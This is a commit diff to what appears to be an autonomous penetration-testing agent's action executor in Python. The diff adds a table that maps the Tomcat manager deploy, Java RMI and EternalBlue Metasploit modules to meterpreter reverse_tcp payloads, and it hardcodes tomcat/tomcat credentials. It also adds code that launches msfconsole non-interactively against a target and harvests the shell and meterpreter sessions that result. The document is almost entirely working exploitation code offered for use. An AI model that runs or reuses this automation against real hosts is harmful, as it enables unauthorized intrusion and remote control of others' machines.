Skip to content

Commit 245fa5f

Browse files
committed
fix: subprocess msfconsole for LHOST exploits and check all session types
1 parent 740cf62 commit 245fa5f

1 file changed

Lines changed: 67 additions & 8 deletions

File tree

agent/action_executor.py

Lines changed: 67 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -159,6 +159,53 @@ def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
159159
source="msf_executor",
160160
))
161161

162+
# Modules that require LHOST and use msfconsole subprocess
163+
_CONSOLE_MODULES = {
164+
"exploit/multi/http/tomcat_mgr_deploy": (
165+
"java/meterpreter/reverse_tcp", 4444,
166+
"set HttpUsername tomcat; set HttpPassword tomcat; "
167+
),
168+
"exploit/multi/misc/java_rmi_server": (
169+
"java/meterpreter/reverse_tcp", 4446, ""
170+
),
171+
"exploit/windows/smb/ms17_010_eternalblue": (
172+
"windows/x64/meterpreter/reverse_tcp", 4445, ""
173+
),
174+
}
175+
176+
def _run_msf_via_console(self, module: str, target: str, port: str,
177+
payload: str, lhost: str, lport: int,
178+
extra_opts: str = "") -> str:
179+
"""Launch msfconsole non-interactively — used when LHOST must be set."""
180+
cmd = (
181+
f"use {module}; "
182+
f"set RHOSTS {target}; "
183+
f"set RPORT {port}; "
184+
f"set PAYLOAD {payload}; "
185+
f"set LHOST {lhost}; "
186+
f"set LPORT {lport}; "
187+
f"{extra_opts}"
188+
f"set ExitOnSession false; "
189+
f"run -z -j; "
190+
f"sleep 15; "
191+
f"sessions"
192+
)
193+
print(f"[AGENT] msfconsole: {module}{target}:{port} LHOST={lhost}:{lport}")
194+
try:
195+
result = subprocess.run(
196+
["msfconsole", "-q", "-x", cmd],
197+
capture_output=True, text=True, timeout=60,
198+
)
199+
output = result.stdout + result.stderr
200+
print(f"[DEBUG] msfconsole output : {output[-500:]}")
201+
return output
202+
except FileNotFoundError:
203+
logger.warning("msfconsole not found in PATH")
204+
return ""
205+
except subprocess.TimeoutExpired:
206+
logger.warning("msfconsole timed out after 60s")
207+
return ""
208+
162209
def _execute_exploit(self, decision: Dict):
163210
host = decision.get("target_host", self.state.target)
164211
port = str(decision.get("target_port", 0))
@@ -173,12 +220,22 @@ def _execute_exploit(self, decision: Dict):
173220

174221
if tool == "metasploit" and self.msf_client:
175222
try:
176-
# Delegate entirely to Phase 3 MetasploitEngine — do NOT duplicate its logic
177-
from exploitation.metasploit_engine import MetasploitEngine
178-
eng = MetasploitEngine()
179-
eng._client = self.msf_client # inject existing connection
223+
console_cfg = self._CONSOLE_MODULES.get(module)
224+
if console_cfg:
225+
# Modules requiring LHOST → subprocess msfconsole
226+
payload, lport, extra = console_cfg
227+
lhost = self._get_local_ip()
228+
self._run_msf_via_console(module, host, port, payload, lhost, lport, extra)
229+
# Mark success optimistically and check sessions via RPC
230+
result = {"status": "success", "output": "msfconsole launched"}
231+
else:
232+
# All other modules → Phase 3 MetasploitEngine via RPC
233+
from exploitation.metasploit_engine import MetasploitEngine
234+
eng = MetasploitEngine()
235+
eng._client = self.msf_client
236+
result = eng.run_module(host, port, module)
237+
180238
print(f"[AGENT] Exploit: {module} on {host}:{port}")
181-
result = eng.run_module(host, port, module)
182239
print(f"[AGENT] Result: {result.get('status')}{result.get('output','')[:80]}")
183240

184241
if result.get("status") == "success":
@@ -188,11 +245,13 @@ def _execute_exploit(self, decision: Dict):
188245
data={"host": host, "port": port, "module": module},
189246
source="executor",
190247
))
191-
# Check sessions after Phase 3 run_module (it already waited post_sleep)
192-
time.sleep(3)
248+
# Accept ALL session types (shell + meterpreter)
249+
time.sleep(5)
193250
sessions = self.msf_client.sessions.list or {}
194-
print(f"[DEBUG] Sessions après exploit : {sessions}")
251+
print(f"[DEBUG] Toutes sessions : {sessions}")
195252
for sid, sinfo in sessions.items():
253+
stype = sinfo.get("type", "")
254+
print(f"[DEBUG] Session {sid} type={stype} info={sinfo.get('info','')}")
196255
sid_str = str(sid)
197256
if sid_str not in self.state.sessions:
198257
self.state.sessions[sid_str] = sinfo

0 commit comments

Comments
 (0)